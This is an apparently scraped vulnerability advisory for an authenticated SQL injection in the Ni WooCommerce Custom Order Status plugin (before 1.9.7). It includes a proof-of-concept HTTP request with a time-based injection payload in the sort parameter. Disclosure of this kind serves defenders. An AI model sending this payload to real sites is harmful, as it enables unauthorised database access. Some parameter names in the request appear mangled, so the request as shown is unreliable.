Lucene search

K
wpvulndbJrXnmWPVDB-ID:A1E7CD2B-8400-4C5D-8B47-A8CCD1E21675
HistoryNov 22, 2021 - 12:00 a.m.

Ni WooCommerce Custom Order Status < 1.9.7 - Subscriber+ SQL Injection

2021-11-2200:00:00
JrXnm
wpscan.com
8

0.001 Low

EPSS

Percentile

37.8%

The get_query() function of the plugin, used by the niwoocos_ajax AJAX action, available to all authenticated users, does not properly sanitise the sort parameter before using it in a SQL statement, leading to an SQL injection, exploitable by any authenticated users, such as subscriber

PoC

POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: zh,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: [Any authenticated user] Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 115 action=niwoocos_ajax⊂_action=order_status_report&call;=get_report&sort;=procedure+analyse(updatexml(rand(),concat(0x3a,benchmark(10000000,sha1(1))),0x20),1)

0.001 Low

EPSS

Percentile

37.8%

Related for WPVDB-ID:A1E7CD2B-8400-4C5D-8B47-A8CCD1E21675